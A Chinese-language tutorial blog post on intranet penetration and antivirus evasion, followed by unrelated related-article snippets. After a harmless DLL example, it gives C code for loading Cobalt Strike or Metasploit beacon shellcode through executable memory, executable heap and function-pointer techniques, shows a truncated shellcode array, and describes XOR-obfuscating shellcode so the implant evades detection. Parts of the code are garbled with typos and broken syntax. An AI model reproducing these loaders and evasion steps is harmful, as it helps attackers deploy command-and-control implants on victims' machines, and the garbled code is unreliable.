内网渗透-DLL和C语言加载木马

news/2025/3/31 2:34:14/

免杀进阶技术

1、DLL的定义与使用

DLL:Dynamic Link library,动态链接库,是一个无法自己运行,需要额外的命令或程序来对其接口进行调用(类方法、函数)。

(1)在DevCpp中创建一个DLL项目

 (2)在dllmain.c中定义源代码函数接口

#include "dll.h"
#include windows. hDLLIMPORT void Helloworld()
{MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):
}DLLIMPORT int Calculate (int a, int b) {int result = a + b;return result;
}

(3)在dll.h的头文件中声明函数接口

DLLIMPORT void Helloworld();
DLLIMPORT int Calculate(int a, int b);

(4)在Python中调用DLL函数接口

没有编译之前都是源代码

当我们点击编译

 发现编译无错误,编译成功

编译一旦成功,这里就会生成一个DLL文件

由于DLL只是供别人调用的一个函数库,所以自己本身是不能运行的

如果我们直接点击运行,会告诉我们没有提供主程序,那么是没有办法进行运行的,它只是写好给别的程序调

然后将这个dll文件复制到我们的python目录下来,然后我们就可以在python当中进行调用了

然后我们创建一个dlltest.py,开始写入代码

import ctypes#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")#调用函数
func.HelloWorld()

运行这段代码,运行结果如下:

然后我们再调用一个函数

result = func.Calculate(100,200)
print(result)

运行结果如下:

2、C语言加载ShellCode

1、在MSF或CS中生成C语言的ShellCode

unigned 叫无符号型(没有负数位),有符号位:-128-127,无符号:0-255

char buf[] 表示定义了一个字符数组(也可以看成是字符串,C语言没有内置字符串类型),在c语言中也可以用字符指针进行定义

我们使用32位的,不适用64位的

然后选择HTTP_Beacon

保存到Muma18的目录底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其进行加载实现CS上线

我们新建一个C语言的可执行项目,名称叫做RunCS

将我们生成的payload输入进去

编译没有报错

 然后运行,没有报错

 然后发现上线成功

 运行代码的时候,文件夹里会出现可执行程序RunCS.exe

这种程序不会免杀的

 3、C语言加载调用shellcode的几种方式

//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;//第三种加载:函数指针加载
((void (*) (void)) & enc) () ;

使用内存加载的方式

然后我们编译运行,发现没有问题,说明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

 将这几种代码整合起来,如下:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>typedef void (__stdcall *CODE) () ;/* run this program using the console pauser or add your own getch, system("pause") or input loop */unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";void start () {申请内存加载/*void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,                         PAGE_EXECUTE_READWRITE);memcpy (p, buf, sizeof(buf));CODE code = (CODE) p;code();*/堆加载HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));memcpy (exec, buf, sizeof(buf));((void (*) ()) exec) () ;函数指针加载/* ((void(*) (void)) & buf) (); */int main(int arge, char targv[]) {start();return 0;
}

以上加载器不免杀

3、尝试对ShellCode进行代码混淆

对我们的shellcode进行异或处理,然后打印到控制台上去

编译成功,说明没有错误

 然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码混淆

得到了加密的之后,我们就来解密

将加密的ShellCode放到一个字符数组里面去,然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

编译运行成功

 上线成功


http://www.ppmy.cn/news/1583749.html

相关文章

CLion配置问题解决

课程笔记 https://www.yuque.com/bigdata-caoyu/newcpp CLion 激活码不可用 https://blog.csdn.net/qq_41973721/article/details/142407716 主机名&#xff1a;localhost 端口号&#xff1a;80 不为以下设置代理&#xff1a;*.github.com,plugins.jetbrains.com 插件无法下…

OkHttp 的证书设置

在 Android 开发中&#xff0c;通过 OkHttp 自定义 SSLSocketFactory 和 X509TrustManager 可以有效增强 HTTPS 通信的安全性&#xff0c;防止中间人攻击&#xff08;如抓包工具 Charles/Fiddler 的拦截&#xff09;。以下是实现防抓包的关键技术方案&#xff1a; 一、Okhttp设…

在 Ubuntu 下通过 Docker 部署 Nginx 服务器

1. Docker 和 Nginx 简介以及实验环境 Docker 是一个开源的容器化平台&#xff0c;允许开发者将应用程序及其依赖项打包成一个轻量级的、可移植的容器。通过 Docker&#xff0c;开发者可以在任何支持 Docker 的环境中运行应用&#xff0c;从而实现一致的开发和生产环境。Docke…

什么是区块链dapp开发?它能做什么?

区块链DApp&#xff08;去中心化应用&#xff09;作为区块链技术的核心落地场景&#xff0c;正在重构数字经济的底层逻辑。其核心特征包括去中心化架构&#xff08;数据存储于分布式网络节点而非中心化服务器&#xff09;智能合约驱动&#xff08;业务逻辑通过链上代码自动执行…

Vue实现动态数据透视表(交叉表)

需求:需要根据前端选择的横维度、竖维度、值去生成一个动态的表格&#xff0c;然后把交叉的值放入到对应的横维度和竖维度之下&#xff0c;其实就是excel里面的数据透视表功能&#xff0c;查询交叉语句为sql语句。 实现页面&#xff1a; 选择一下横维度、竖维度、值之后点击查…

Ceph集群部署步骤

博文参考&#xff1a;https://baijiahao.baidu.com/s?id1739195406542186137&wfrspider&forpc 零、centos7配置中文语言环境 1.查看系统是否安装了中文安装包 locale -a |grep "zh_CN"没有输出&#xff0c;说明没有安装&#xff0c;输入下面的命令安装: …

Stable Diffusion绘画插件(ControlNet )

一、前置条件 1.安装Stable Diffusion WebUI版&#xff1b; 2.安装ControlNet插件。文后附模型下载链接。 二、ControlNet中模型的区别 1. canny.pth 输入条件&#xff1a;Canny 边缘图 特点&#xff1a;通过边缘线条控制生成图像结构 场景&#xff1a;需要保留清晰轮廓但…

数据源为postgres的多表关联flink开发需求,开发思路

作为大数据实时开发工程师&#xff0c;开发基于 PostgreSQL 多表关联的 Flink 程序需遵循以下系统性思路&#xff0c;结合实时处理特性与 PostgreSQL 数据源特点进行设计&#xff1a; 一、数据同步与预处理 1. 配置 PostgreSQL CDC 连接 使用 Flink CDC 连接器 通过 flink-co…